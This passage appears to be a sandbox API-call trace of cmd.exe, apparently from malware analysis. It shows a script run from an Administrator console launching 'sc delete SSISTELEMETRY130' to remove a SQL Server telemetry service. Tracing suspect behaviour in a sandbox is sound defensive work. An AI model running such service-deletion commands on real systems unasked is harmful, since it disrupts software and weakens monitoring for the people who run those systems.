cchWideChar=1 | out: lpWideCharStr=" MsDtsServer130\n\nce\n") returned 1 [0064.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="SsDtsServer130\n\nce\n") returned 1 [0064.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="SDtsServer130\n\nce\n") returned 1 [0064.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="ItsServer130\n\nce\n") returned 1 [0064.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.953] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="SsServer130\n\nce\n") returned 1 [0064.953] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.953] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.953] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="TServer130\n\nce\n") returned 1 [0064.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Eerver130\n\nce\n") returned 1 [0064.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="Lrver130\n\nce\n") returned 1 [0064.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="Ever130\n\nce\n") returned 1 [0064.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="Mer130\n\nce\n") returned 1 [0064.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="Er130\n\nce\n") returned 1 [0064.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.954] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.954] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="T130\n\nce\n") returned 1 [0064.954] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.954] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="R30\n\nce\n") returned 1 [0064.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="Y0\n\nce\n") returned 1 [0064.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="1\n\nce\n") returned 1 [0064.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="3\nce\n") returned 1 [0064.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="0ce\n") returned 1 [0064.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.955] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0064.955] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="\ne\n") returned 1 [0064.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.955] GetFileType (hFile=0xb8) returned 0x3 [0064.955] _get_osfhandle (_FileHandle=0) returned 0xb8 [0064.955] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0064.956] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.956] GetFileType (hFile=0x120) returned 0x3 [0064.956] _get_osfhandle (_FileHandle=1) returned 0x120 [0064.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SSISTELEMETRY130\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SSISTELEMETRY130\n", lpUsedDefaultChar=0x0) returned 28 [0064.956] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1b, lpOverlapped=0x0) returned 1 [0064.956] GetProcessHeap () returned 0x1b0000 [0064.956] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d6630 [0064.956] GetProcessHeap () returned 0x1b0000 [0064.956] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d6630 | out: hHeap=0x1b0000) returned 1 [0064.956] GetProcessHeap () returned 0x1b0000 [0064.956] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0064.956] GetProcessHeap () returned 0x1b0000 [0064.956] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0064.956] GetProcessHeap () returned 0x1b0000 [0064.956] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x42) returned 0x1caa40 [0064.956] GetConsoleOutputCP () returned 0x1b5 [0064.956] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0064.956] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0064.956] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x48) returned 0x1caa90 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0064.957] SetErrorMode (uMode=0x0) returned 0x1 [0064.957] SetErrorMode (uMode=0x1) returned 0x0 [0064.957] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0064.957] SetErrorMode (uMode=0x1) returned 0x1 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0064.957] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0064.957] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0064.957] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.957] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0064.957] GetProcessHeap () returned 0x1b0000 [0064.958] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0064.958] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.958] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.958] GetLastError () returned 0x2 [0064.958] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.958] GetLastError () returned 0x2 [0064.958] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.958] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.958] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.958] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0064.958] GetLastError () returned 0x2 [0064.959] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0064.959] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0064.959] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0064.959] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0064.959] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.959] GetProcessHeap () returned 0x1b0000 [0064.959] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0064.959] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0064.960] GetProcessHeap () returned 0x1b0000 [0064.960] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xae) returned 0x1c9180 [0064.960] GetProcessHeap () returned 0x1b0000 [0064.960] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xae [0064.960] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SSISTELEMETRY130") returned 1 [0064.961] GetProcessHeap () returned 0x1b0000 [0064.961] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0064.961] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0064.961] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0064.961] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0064.961] GetProcessHeap () returned 0x1b0000 [0064.961] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.961] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.962] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.962] GetProcessHeap () returned 0x1b0000 [0064.962] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0064.962] GetProcessHeap () returned 0x1b0000 [0064.962] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0064.962] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SSISTELEMETRY130", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SSISTELEMETRY130", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete SSISTELEMETRY130", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x9fc, dwThreadId=0xa0c)) returned 1 [0064.965] CloseHandle (hObject=0x50) returned 1 [0064.965] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.966] GetProcessHeap () returned 0x1b0000 [0064.966] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0064.966] GetEnvironmentStringsW () returned 0x1d1b10* [0064.966] GetProcessHeap () returned 0x1b0000 [0064.966] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0064.966] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0064.966] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0064.966] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, 